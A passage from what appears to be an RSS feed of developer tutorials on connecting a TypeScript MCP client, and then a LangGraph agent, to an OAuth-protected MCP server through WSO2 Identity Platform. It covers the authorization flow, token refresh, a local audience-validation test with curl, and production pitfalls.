style="color:#1F4FFF">function</span><span class="token plain"> </span><span class="token function" style="color:#0B1633;font-weight:600">main</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token keyword" style="color:#1F4FFF">const</span><span class="token plain"> client </span><span class="token operator">=</span><span class="token plain"> </span><span class="token keyword" style="color:#1F4FFF">await</span><span class="token plain"> </span><span class="token function" style="color:#0B1633;font-weight:600">connect</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token keyword" style="color:#1F4FFF">try</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    </span><span class="token keyword" style="color:#1F4FFF">const</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"> tools </span><span class="token punctuation" style="color:#5A6072">}</span><span class="token plain"> </span><span class="token operator">=</span><span class="token plain"> </span><span class="token keyword" style="color:#1F4FFF">await</span><span class="token plain"> client</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token function" style="color:#0B1633;font-weight:600">listTools</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    </span><span class="token builtin" style="color:#1F4FFF">console</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token function" style="color:#0B1633;font-weight:600">log</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">      </span><span class="token string" style="color:#15803D">'Available tools:'</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">      tools</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token function" style="color:#0B1633;font-weight:600">map</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token plain">tool </span><span class="token operator">=&gt;</span><span class="token plain"> tool</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token plain">name</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    </span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token punctuation" style="color:#5A6072">}</span><span class="token plain"> </span><span class="token keyword" style="color:#1F4FFF">finally</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    </span><span class="token keyword" style="color:#1F4FFF">await</span><span class="token plain"> client</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token function" style="color:#0B1633;font-weight:600">close</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token punctuation" style="color:#5A6072">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain"></span><span class="token punctuation" style="color:#5A6072">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain"></span><span class="token function" style="color:#0B1633;font-weight:600">main</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token function" style="color:#0B1633;font-weight:600">catch</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token plain">error </span><span class="token operator">=&gt;</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token builtin" style="color:#1F4FFF">console</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token function" style="color:#0B1633;font-weight:600">error</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token string" style="color:#15803D">'MCP client failed:'</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"> error</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  process</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token plain">exitCode </span><span class="token operator">=</span><span class="token plain"> </span><span class="token number" style="color:#C43300">1</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain"></span><span class="token punctuation" style="color:#5A6072">}</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">;</span><br></span></code></pre></div></div>
<p>The one line that connects OAuth to the MCP client is in <code>createTransport()</code>:</p>
<div class="language-typescript codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#0B1633;--prism-background-color:#F4F6FA"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-typescript codeBlock_bY9V thin-scrollbar" style="color:#0B1633;background-color:#F4F6FA"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#0B1633"><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"> authProvider</span><span class="token operator">:</span><span class="token plain"> provider </span><span class="token punctuation" style="color:#5A6072">}</span><br></span></code></pre></div></div>
<p>It replaces the <code>requestInit</code> header we used before. From then on, the SDK attaches the access token itself.</p>
<p><code>connect()</code> follows the four steps above, in order. If a token is already stored, step 1 succeeds and the function returns straight away.</p>
<p><code>isAuthenticationRequired()</code> exists because the SDK can report "authentication required" in two ways: as an <code>UnauthorizedError</code>, or as an error with the code <code>CLIENT_HTTP_AUTHENTICATION</code> when the <code>401</code> arrives while the client is still negotiating the protocol version. We treat both the same way. Any other error is a real failure, so we rethrow it.</p>
<p>The final <code>catch</code> prints the whole error, not just its message. A network failure surfaces as <code>fetch failed</code>, and the actual reason, such as <code>ECONNREFUSED</code> when the MCP server isn't running, is in the error's <code>cause</code>.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="run-the-client">Run the client<a href="https://choreolabs.com/identity-and-access-management/learn/agent-oauth-mcp-client#run-the-client" class="hash-link" aria-label="Direct link to Run the client" title="Direct link to Run the client" translate="no">​</a></h3>
<ol>
<li class="">
<p>Make sure the Express MCP server is still running.</p>
</li>
<li class="">
<p>Open another terminal in the project directory and run:</p>
<div class="language-bash codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#0B1633;--prism-background-color:#F4F6FA"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-bash codeBlock_bY9V thin-scrollbar" style="color:#0B1633;background-color:#F4F6FA"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#0B1633"><span class="token plain">node --env-file=.env --import tsx client.ts</span><br></span></code></pre></div></div>
<p>On the first run, the provider has no stored tokens. The SDK tries to connect, gets the <code>401</code>, runs discovery, and our provider opens the authorization URL in your browser.</p>
</li>
<li class="">
<p>If the browser doesn't open, open the printed URL yourself.</p>
</li>
<li class="">
<p>Sign in as the user you assigned the <code>mcp:tools</code> role to, and complete any required consent.</p>
<p>The authorization server redirects the browser to:</p>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#0B1633;--prism-background-color:#F4F6FA"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="color:#0B1633;background-color:#F4F6FA"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#0B1633"><span class="token plain">http://127.0.0.1:3030/callback?code=...&amp;state=...</span><br></span></code></pre></div></div>
<p>Our callback server checks the response and its <code>state</code>, then the browser shows:</p>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#0B1633;--prism-background-color:#F4F6FA"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="color:#0B1633;background-color:#F4F6FA"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#0B1633"><span class="token plain">Authorization complete. You can close this tab.</span><br></span></code></pre></div></div>
</li>
<li class="">
<p>Back in the terminal, watch the client finish. It passes the callback parameters to <code>finishAuth()</code>, the SDK exchanges the code for tokens and saves them through our provider, and the client reconnects.</p>
</li>
</ol>
<p>If the WSO2 middleware accepts the token, the client lists our <code>add</code> tool:</p>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#0B1633;--prism-background-color:#F4F6FA"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="color:#0B1633;background-color:#F4F6FA"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#0B1633"><span class="token plain">Available tools: [ 'add' ]</span><br></span></code></pre></div></div>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="invoke-the-protected-tool">Invoke the protected tool<a href="https://choreolabs.com/identity-and-access-management/learn/agent-oauth-mcp-client#invoke-the-protected-tool" class="hash-link" aria-label="Direct link to Invoke the protected tool" title="Direct link to Invoke the protected tool" translate="no">​</a></h3>
<ol>
<li class="">
<p>Open <code>client.ts</code> and find:</p>
<div class="language-typescript codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#0B1633;--prism-background-color:#F4F6FA"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-typescript codeBlock_bY9V thin-scrollbar" style="color:#0B1633;background-color:#F4F6FA"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#0B1633"><span class="token keyword" style="color:#1F4FFF">const</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"> tools </span><span class="token punctuation" style="color:#5A6072">}</span><span class="token plain"> </span><span class="token operator">=</span><span class="token plain"> </span><span class="token keyword" style="color:#1F4FFF">await</span><span class="token plain"> client</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token function" style="color:#0B1633;font-weight:600">listTools</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain"></span><span class="token builtin" style="color:#1F4FFF">console</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token function" style="color:#0B1633;font-weight:600">log</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token string" style="color:#15803D">'Available tools:'</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  tools</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token function" style="color:#0B1633;font-weight:600">map</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token plain">tool </span><span class="token operator">=&gt;</span><span class="token plain"> tool</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token plain">name</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain"></span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">;</span><br></span></code></pre></div></div>
</li>
<li class="">
<p>Immediately after this block, before the <code>finally</code> block, add:</p>
<div class="language-typescript codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#0B1633;--prism-background-color:#F4F6FA"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-typescript codeBlock_bY9V thin-scrollbar" style="color:#0B1633;background-color:#F4F6FA"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#0B1633"><span class="token keyword" style="color:#1F4FFF">const</span><span class="token plain"> result </span><span class="token operator">=</span><span class="token plain"> </span><span class="token keyword" style="color:#1F4FFF">await</span><span class="token plain"> client</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token function" style="color:#0B1633;font-weight:600">callTool</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  name</span><span class="token operator">:</span><span class="token plain"> </span><span class="token string" style="color:#15803D">'add'</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  arguments</span><span class="token operator">:</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    a</span><span class="token operator">:</span><span class="token plain"> </span><span class="token number" style="color:#C43300">5</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    b</span><span class="token operator">:</span><span class="token plain"> </span><span class="token number" style="color:#C43300">10</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token punctuation" style="color:#5A6072">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain"></span><span class="token punctuation" style="color:#5A6072">}</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain"></span><span class="token builtin" style="color:#1F4FFF">console</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token function" style="color:#0B1633;font-weight:600">log</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token plain">result</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token plain">content</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">;</span><br></span></code></pre></div></div>
</li>
<li class="">
<p>Save the file and run the client again.</p>
</li>
</ol>
<p>Because we're using in-memory token storage, every run starts a new authorization flow. Once it completes, the client lists the <code>add</code> tool and returns the result.</p>
<p>We've now tested discovery, browser authorization, token exchange, and a protected MCP tool invocation.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="what-happens-when-the-token-expires">What happens when the token expires?<a href="https://choreolabs.com/identity-and-access-management/learn/agent-oauth-mcp-client#what-happens-when-the-token-expires" class="hash-link" aria-label="Direct link to What happens when the token expires?" title="Direct link to What happens when the token expires?" translate="no">​</a></h3>
<p>If the authorization server issues a refresh token along with the access token, the SDK uses it to get a new access token when the old one expires, and saves the result through the provider's <code>saveTokens()</code> method.</p>
<p>Our provider keeps tokens in memory, so they don't survive a restart. To see a refresh happen, you'd need to keep the program running until the access token expires.</p>
<p>A production application would use a secure credential store, and keep credentials separate for each user, authorization server, resource, and client registration. <a class="" href="https://choreolabs.com/identity-and-access-management/learn/mcp-token-expires-mid-run">Why Your MCP Token Expires Mid-Run</a> looks at what happens when a token expires in the middle of a long agent run.</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="verifying-the-resource-indicator">Verifying the resource indicator<a href="https://choreolabs.com/identity-and-access-management/learn/agent-oauth-mcp-client#verifying-the-resource-indicator" class="hash-link" aria-label="Direct link to Verifying the resource indicator" title="Direct link to Verifying the resource indicator" translate="no">​</a></h2>
<p>We've authenticated successfully, but there's another thing we need to verify.</p>
<p>Was the access token issued for our MCP server?</p>
<p>Imagine we have two MCP servers using the same authorization server:</p>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#0B1633;--prism-background-color:#F4F6FA"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="color:#0B1633;background-color:#F4F6FA"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#0B1633"><span class="token plain">https://documents.example.com/mcp</span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">https://finance.example.com/mcp</span><br></span></code></pre></div></div>
<p>A token issued for the document server shouldn't automatically authorize access to the finance server.</p>
<p>MCP uses the OAuth <code>resource</code> parameter to identify the protected resource for which the client requests a token.</p>
<p>Our local MCP endpoint is:</p>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#0B1633;--prism-background-color:#F4F6FA"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="color:#0B1633;background-color:#F4F6FA"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#0B1633"><span class="token plain">http://localhost:3000/mcp</span><br></span></code></pre></div></div>
<p>The client must request authorization for the intended MCP resource, and the MCP server must reject tokens that aren't intended for it.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="verify-audience-enforcement">Verify audience enforcement<a href="https://choreolabs.com/identity-and-access-management/learn/agent-oauth-mcp-client#verify-audience-enforcement" class="hash-link" aria-label="Direct link to Verify audience enforcement" title="Direct link to Verify audience enforcement" translate="no">​</a></h3>
<p>We passed <code>audience: resource</code> to <code>McpAuthServer</code>, so the SDK should reject any token whose <code>aud</code> claim isn't our MCP resource. We still need to prove it with a real token.</p>
<p>In particular, we need to distinguish between a token that has a valid signature and issuer and a token that is actually intended for our server.</p>
<p>A valid signature alone isn't enough.</p>
<ol>
<li class="">
<p>Check which audience your access token carries. Decode it with your identity platform's token diagnostics, or any JWT decoder you trust, and look at the <code>aud</code> claim.</p>
</li>
<li class="">
<p>Configure a second test API resource in WSO2 Identity Platform.</p>
</li>
<li class="">
<p>Obtain a token intended only for that resource.</p>
</li>
<li class="">
<p>Send it to our MCP server:</p>
<div class="language-bash codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#0B1633;--prism-background-color:#F4F6FA"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-bash codeBlock_bY9V thin-scrollbar" style="color:#0B1633;background-color:#F4F6FA"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#0B1633"><span class="token plain">curl -i -X POST http://localhost:3000/mcp \</span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  -H 'Content-Type: application/json' \</span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  -H "Authorization: Bearer $OTHER_RESOURCE_TOKEN" \</span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  -d '{}'</span><br></span></code></pre></div></div>
<p>Here, <code>OTHER_RESOURCE_TOKEN</code> holds the token obtained for the second test resource.</p>
</li>
</ol>
<p>Our MCP server should reject that token with <code>401</code>.</p>
<p>If it doesn't, the server's audience validation needs to be corrected before deployment.</p>
<p>The failure must be established through a real integration test. We shouldn't assume that a token is correctly audience-bound simply because the client sent a <code>resource</code> parameter.</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="what-breaks-in-production">What breaks in production<a href="https://choreolabs.com/identity-and-access-management/learn/agent-oauth-mcp-client#what-breaks-in-production" class="hash-link" aria-label="Direct link to What breaks in production" title="Direct link to What breaks in production" translate="no">​</a></h2>
<p>We've established the basic OAuth flow. There are still several cases worth testing before using this connection in a deployed agent application.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="1-the-access-token-expires-during-a-tool-call">1. The access token expires during a tool call<a href="https://choreolabs.com/identity-and-access-management/learn/agent-oauth-mcp-client#1-the-access-token-expires-during-a-tool-call" class="hash-link" aria-label="Direct link to 1. The access token expires during a tool call" title="Direct link to 1. The access token expires during a tool call" translate="no">​</a></h3>
<p>A long-running application may make many MCP requests. Its access token could expire while it is operating.</p>
<p>The SDK can attempt to refresh credentials when a valid refresh token is available.</p>
<p>If refresh fails or the grant has been revoked, the application may need to request authorization again.</p>
<p>A production client should also avoid blindly retrying operations that may already have completed.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="2-the-application-loses-its-authorization-state">2. The application loses its authorization state<a href="https://choreolabs.com/identity-and-access-management/learn/agent-oauth-mcp-client#2-the-application-loses-its-authorization-state" class="hash-link" aria-label="Direct link to 2. The application loses its authorization state" title="Direct link to 2. The application loses its authorization state" translate="no">​</a></h3>
<p>Our provider stores OAuth state, the PKCE verifier, and discovery information in memory.</p>
<p>That works for a local experiment, but a hosted application may need shared storage.</p>
<p>For example, a callback could reach a different application instance from the one that started authorization.</p>
<p>The application must be able to associate the callback with the correct user and pending authorization request.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="3-the-client-uses-the-wrong-transport">3. The client uses the wrong transport<a href="https://choreolabs.com/identity-and-access-management/learn/agent-oauth-mcp-client#3-the-client-uses-the-wrong-transport" class="hash-link" aria-label="Direct link to 3. The client uses the wrong transport" title="Direct link to 3. The client uses the wrong transport" translate="no">​</a></h3>
<p>The OAuth flow we've implemented applies to HTTP-based MCP connections.</p>
<p>A local stdio MCP server doesn't use the same HTTP authorization flow.</p>
<p>We shouldn't assume that every transport supports the same authentication mechanism.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="4-credentials-are-shared-between-users">4. Credentials are shared between users<a href="https://choreolabs.com/identity-and-access-management/learn/agent-oauth-mcp-client#4-credentials-are-shared-between-users" class="hash-link" aria-label="Direct link to 4. Credentials are shared between users" title="Direct link to 4. Credentials are shared between users" translate="no">​</a></h3>
<p>Our example uses one local OAuth provider with one token store.</p>
<p>A hosted application may serve multiple users and connect to several MCP resources.</p>
<p>It must resolve credentials for the correct user, client registration, authorization server, and resource.</p>
<p>Sharing a provider or token store between unrelated users could expose one user's permissions to another.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="5-the-server-accepts-a-token-for-another-resource">5. The server accepts a token for another resource<a href="https://choreolabs.com/identity-and-access-management/learn/agent-oauth-mcp-client#5-the-server-accepts-a-token-for-another-resource" class="hash-link" aria-label="Direct link to 5. The server accepts a token for another resource" title="Direct link to 5. The server accepts a token for another resource" translate="no">​</a></h3>
<p>A token may be correctly signed and issued by a trusted authorization server but still be intended for a different API.</p>
<p>The MCP server must validate its intended audience.</p>
<p>That's why we need the resource-isolation test described earlier.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="6-oauth-discovery-fails">6. OAuth discovery fails<a href="https://choreolabs.com/identity-and-access-management/learn/agent-oauth-mcp-client#6-oauth-discovery-fails" class="hash-link" aria-label="Direct link to 6. OAuth discovery fails" title="Direct link to 6. OAuth discovery fails" translate="no">​</a></h3>
<p>If an MCP server doesn't publish usable Protected Resource Metadata, or a proxy removes the authentication challenge, the client may not know where to initiate authorization.</p>
<p>Start debugging with the HTTP response.</p>
<p>Inspect the <code>WWW-Authenticate</code> header and resource metadata.</p>
<p>Then check the authorization server's metadata, client registration, redirect URI, and token exchange.</p>
<p>Capture actual failures from your integration tests rather than treating one SDK error message as universal behavior.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="7-the-agent-needs-additional-consent-during-a-run">7. The agent needs additional consent during a run<a href="https://choreolabs.com/identity-and-access-management/learn/agent-oauth-mcp-client#7-the-agent-needs-additional-consent-during-a-run" class="hash-link" aria-label="Direct link to 7. The agent needs additional consent during a run" title="Direct link to 7. The agent needs additional consent during a run" translate="no">​</a></h3>
<p>Our example completes authorization before making tools available to an agent.</p>
<p>But an agent may discover halfway through a task that another operation requires additional permissions.</p>
<p>The application may need to pause that operation, present an authorization request, and resume execution after the user grants access.</p>
<p>The model can't complete the authorization interaction on the user's behalf. The <a class="" href="https://choreolabs.com/identity-and-access-management/learn/langgraph-oauth-mcp-server#what-changes-when-the-agent-is-hosted">LangGraph article</a> looks at what that handoff involves.</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="taking-this-into-an-agent-application">Taking this into an agent application<a href="https://choreolabs.com/identity-and-access-management/learn/agent-oauth-mcp-client#taking-this-into-an-agent-application" class="hash-link" aria-label="Direct link to Taking this into an agent application" title="Direct link to Taking this into an agent application" translate="no">​</a></h2>
<p>We started with a small MCP client that connected to a local Express server and called an <code>add</code> tool.</p>
<p>Then we made the server require authentication and saw why supplying a static bearer token wasn't enough.</p>
<p>Next, we used WSO2 Identity Platform's MCP authorization SDK to protect the server and publish the information needed for OAuth discovery.</p>
<p>On the client side, we introduced <code>OAuthClientProvider</code> so the official MCP TypeScript SDK could handle authorization requests, PKCE, token exchange, and authorized connections.</p>
<p>We now have the connection an AI agent needs to access protected MCP tools.</p>
<p>The agent can use this connection through a tool adapter:</p>
<figure class="flow_hvWA"><figcaption class="title__OHd">How an agent reaches the protected tool</figcaption><ol class="steps_ptmz" aria-label="How an agent reaches the protected tool"><li class="item_fcGx"><div class="box_IgAy"><span class="label_vt37">User</span><span class="text_K99R">Asks a question</span></div></li><li class="item_fcGx"><div class="box_IgAy"><span class="text_K99R">Agent selects a tool</span></div></li><li class="item_fcGx"><div class="box_IgAy"><span class="text_K99R">Application's tool adapter</span></div></li><li class="item_fcGx"><div class="box_IgAy accent_cbUk"><span class="text_K99R">Authorized MCP client</span></div></li><li class="item_fcGx"><div class="box_IgAy"><span class="text_K99R">WSO2-protected MCP server</span></div></li></ol></figure>
<p>The model needs tool descriptions and input schemas to decide which operations to perform.</p>
<p>It doesn't need access to OAuth credentials.</p>
<p>The application remains responsible for associating credentials with the correct user and connection.</p>
<p>For production use, we'd extend the example with secure persistent token storage, refresh handling, and integration tests covering expired tokens, revoked authorization, and incorrect audiences.</p>
<p>In the companion article, <a class="" href="https://choreolabs.com/identity-and-access-management/learn/langgraph-oauth-mcp-server">Connecting a LangGraph Agent to an OAuth-Protected MCP Server</a>, we hand this same authorized connection to a LangGraph agent, let a model choose the tool, and prove the access token never reaches the model.</p>]]></content:encoded>
            <category>MCP authorization</category>
            <category>AI Agent Identity &amp; MCP</category>
            <category>typescript</category>
        </item>
        <item>
            <title><![CDATA[Connecting a LangGraph Agent to an OAuth-Protected MCP Server]]></title>
            <link>https://choreolabs.com/identity-and-access-management/learn/langgraph-oauth-mcp-server</link>
            <guid>https://choreolabs.com/identity-and-access-management/learn/langgraph-oauth-mcp-server</guid>
            <pubDate>Sun, 18 Oct 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[Give a LangGraph.js agent access to OAuth-protected MCP tools, while the access token stays out of the model's reach.]]></description>
            <content:encoded><![CDATA[<p>An MCP client can connect to a server, list its tools, and call them. But something still has to decide <em>which</em> tool to call, and with what arguments.</p>
<p>That's the job of an agent. It hands the tools to a model, and the model chooses.</p>
<p>When the MCP server is protected with OAuth, a new question comes up: where does the access token go? It shouldn't go anywhere near the model. In this article, we'll build a LangGraph agent in TypeScript that calls a protected MCP tool, and prove the model never sees the token.</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="how-the-pieces-fit-together">How the pieces fit together<a href="https://choreolabs.com/identity-and-access-management/learn/langgraph-oauth-mcp-server#how-the-pieces-fit-together" class="hash-link" aria-label="Direct link to How the pieces fit together" title="Direct link to How the pieces fit together" translate="no">​</a></h2>
<p>Before the agent can use any tools, it needs an MCP client that's allowed to call the server.</p>
<p>In <a class="" href="https://choreolabs.com/identity-and-access-management/learn/agent-oauth-mcp-client">Connecting an AI Agent to an OAuth-Protected MCP Server</a>, we built that client with the official MCP TypeScript SDK. Its heart is a function called <code>connect()</code>. It tries to connect, and when the server answers <code>401</code>, it sends you to WSO2 Identity Platform to sign in, catches the browser on its way back, and connects again with an access token. We'll add the same function to this project.</p>
<p>On top of that client, we'll use two LangChain libraries:</p>
<ul>
<li class=""><code>@langchain/mcp-adapters</code>: turns the tools an MCP server advertises into LangChain tools.</li>
<li class=""><code>langchain</code>: its <code>createAgent()</code> builds an agent on LangGraph that can select and call those tools.</li>
</ul>
<p>Each layer has one job:</p>
<table><thead><tr><th>Layer</th><th>Responsibility</th></tr></thead><tbody><tr><td><code>connect()</code></td><td>Gets authorization when needed and returns a connected MCP client</td></tr><tr><td><code>loadMcpTools()</code></td><td>Lists the server's tools through that client and converts them into LangChain tools</td></tr><tr><td><code>createAgent()</code></td><td>Gives the tools to a model, which decides when to call them</td></tr></tbody></table>
<p><code>@langchain/mcp-adapters</code> is built on the same <code>@modelcontextprotocol/client</code> package, and <code>loadMcpTools()</code> accepts an MCP <code>Client</code> we've connected ourselves. So OAuth happens once, in our own code, before the agent exists.</p>
<figure class="flow_hvWA"><figcaption class="title__OHd">How the agent reaches a protected tool</figcaption><ol class="steps_ptmz" aria-label="How the agent reaches a protected tool"><li class="item_fcGx"><div class="box_IgAy"><span class="text_K99R"><code>connect()</code> returns an authorized MCP client</span></div></li><li class="item_fcGx"><div class="box_IgAy"><span class="text_K99R"><code>loadMcpTools()</code> lists and converts the tools</span></div></li><li class="item_fcGx"><div class="box_IgAy"><span class="text_K99R"><code>createAgent()</code> gives the tools to the model</span></div></li><li class="item_fcGx"><div class="box_IgAy accent_cbUk"><span class="label_vt37">Model</span><span class="text_K99R">Chooses the <code>add</code> tool</span></div></li><li class="item_fcGx"><div class="box_IgAy success_R_Rq"><span class="text_K99R">The MCP client sends the call with the access token</span></div></li></ol></figure>
<p>The model sees tool names, descriptions, arguments, and results. It never sees the access token.</p>
